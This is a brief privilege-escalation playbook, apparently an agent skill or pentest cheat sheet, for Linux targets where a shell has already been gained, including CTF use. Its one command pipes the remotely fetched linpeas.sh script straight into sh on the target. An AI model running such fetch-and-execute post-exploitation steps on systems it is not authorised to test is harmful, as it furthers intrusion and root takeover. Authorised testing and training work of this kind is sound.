Linux Privilege Escalation

When to Activate

• Gained initial shell on Linux target, need root
• Post-exploitation privilege escalation
• Container escape scenarios
• CTF challenges requiring privesc

Phase 0 — Automated Enumeration (Run First)

# LinPEAS — broadest coverage, colored output
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas.out